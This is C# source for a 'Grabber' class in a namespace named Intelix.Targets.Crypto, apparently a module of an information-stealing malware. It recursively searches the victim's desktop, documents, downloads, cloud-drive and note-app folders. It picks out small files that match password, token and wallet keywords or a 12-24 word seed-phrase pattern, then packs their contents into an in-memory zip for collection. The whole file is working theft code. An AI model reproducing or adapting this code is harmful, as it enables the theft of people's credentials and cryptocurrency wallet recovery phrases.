using System; using System.Collections.Generic; using System.IO; using System.Linq; using System.Text.RegularExpressions; using System.Threading; using System.Threading.Tasks; using Intelix.Helper; using Intelix.Helper.Data; namespace Intelix.Targets.Crypto; public class Grabber : ITarget { private readonly long _sizeMinFile = 120L; private readonly long _sizeLimitFile = 6144L; private readonly long _sizeLimit = 5242880L; private long _size; private readonly Regex _seedRegex = new Regex("^(?:\\s*\\b[a-z]{3,}\\b){12,24}\\s*$", RegexOptions.IgnoreCase | RegexOptions.Multiline | RegexOptions.Compiled); private readonly string[] _blacklist = new string[10] { "license", "readme", "changelog", "about", "terms", "eula", "notice", "example", "sample", "test" }; private readonly string[] _keywords = new string[35] { "password", "passwd", "pwd", "pass", "login", "user", "username", "account", "mail", "email", "secret", "key", "private", "public", "wallet", "mnemonic", "seed", "recovery", "phrase", "backup", "pin", "auth", "2fa", "token", "apikey", "api_key", "ssh", "cert", "certificate", "crypto", "btc", "eth", "usdt", "ltc", "xmr" }; private readonly string[] _seedExtensions = new string[9] { ".seed", ".seedphrase", ".mnemonic", ".phrase", ".key", ".secret", ".txt", ".backup", ".wallet" }; private readonly string[] _seedPaths = new string[19] { Environment.GetFolderPath(Environment.SpecialFolder.Personal), Environment.GetFolderPath(Environment.SpecialFolder.Desktop), Environment.GetFolderPath(Environment.SpecialFolder.Personal), Environment.GetFolderPath(Environment.SpecialFolder.CommonDocuments), Environment.GetFolderPath(Environment.SpecialFolder.CommonDesktopDirectory), Environment.GetFolderPath(Environment.SpecialFolder.UserProfile) + "\\Downloads", Environment.GetFolderPath(Environment.SpecialFolder.UserProfile) + "\\OneDrive", Environment.GetFolderPath(Environment.SpecialFolder.UserProfile) + "\\Dropbox", Environment.GetFolderPath(Environment.SpecialFolder.UserProfile) + "\\iCloudDrive", Environment.GetFolderPath(Environment.SpecialFolder.UserProfile) + "\\Google Drive", Environment.GetFolderPath(Environment.SpecialFolder.UserProfile) + "\\YandexDisk", Environment.GetFolderPath(Environment.SpecialFolder.UserProfile) + "\\Mega", Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + "\\Evernote", Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + "\\Standard Notes", Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + "\\Joplin", Environment.GetFolderPath(Environment.SpecialFolder.UserProfile) + "\\Wallets", Environment.GetFolderPath(Environment.SpecialFolder.UserProfile) + "\\Keys", Environment.GetFolderPath(Environment.SpecialFolder.UserProfile) + "\\Crypto", Environment.GetFolderPath(Environment.SpecialFolder.UserProfile) + "\\Backup" }; private long Size { get { return Interlocked.Read(ref _size); } set { Interlocked.Exchange(ref _size, value); } } public void Collect(InMemoryZip zip, Counter counter) { Parallel.ForEach(_seedPaths, delegate(string directory) { SearchFiles(zip, counter, directory); }); } private void SearchFiles(InMemoryZip zip, Counter counter, string directory) { if (Size > _sizeLimit) { return; } try { Parallel.ForEach(Directory.GetDirectories(directory), delegate(string subDir) { if (Size <= _sizeLimit) { SearchFiles(zip, counter, subDir); } }); } catch { } try { Parallel.ForEach(Directory.GetFiles(directory), delegate(string file) { if (Size <= _sizeLimit) { FileInfo fileInfo = new FileInfo(file); if (_seedExtensions.Contains(fileInfo.Extension, StringComparer.OrdinalIgnoreCase) && fileInfo.Length < _sizeLimitFile && fileInfo.Length > _sizeMinFile) { string text = File.ReadAllText(fileInfo.FullName); if (ContainsKeyword(fileInfo.Name) || ContainsKeyword(text) || ContainsSeedPhrase(text)) { Size += fileInfo.Length; string fileName = fileInfo.Name + RandomStrings.GenerateHashTag() + fileInfo.Extension; string relativePath = GetRelativePath(fileInfo.FullName); string text2 = Path.Combine("FileGrabber", relativePath, fileName).Replace('\\', '/'); zip.AddTextFile(text2, text); counter.FilesGrabber.Add(file + " => " + text2); } } } }); } catch { } } private bool ContainsSeedPhrase(string content) { return _seedRegex.IsMatch(content); } private string GetRelativePath(string fullPath) { try { string desktop = Environment.GetFolderPath(Environment.SpecialFolder.Desktop); string documents = Environment.GetFolderPath(Environment.SpecialFolder.Personal); if (fullPath.StartsWith(desktop, StringComparison.OrdinalIgnoreCase)) { return "desktop"; } if (fullPath.StartsWith(documents, StringComparison.OrdinalIgnoreCase)) { return "Documents"; } return "other"; } catch { return "other"; } } private bool ContainsKeyword(string content) { if (string.IsNullOrEmpty(content)) { return false; } string[] source = content.Split(new char[14] { ' ', '\t', '\r', '\n', ',', '.', ';', ':', '-', '_', '/', '\\', '"', '\'' }, StringSplitOptions.RemoveEmptyEntries); HashSet whitelist = new HashSet(_keywords, StringComparer.OrdinalIgnoreCase); HashSet blacklist = new HashSet(_blacklist, StringComparer.OrdinalIgnoreCase); int result = 0; Parallel.ForEach(source, delegate(string word, ParallelLoopState state) { if (Volatile.Read(ref result) == -1) { state.Stop(); } else if (blacklist.Contains(word)) { Interlocked.Exchange(ref result, -1); state.Stop(); } else if (whitelist.Contains(word)) { Interlocked.CompareExchange(ref result, 1, 0); } }); return result == 1; } }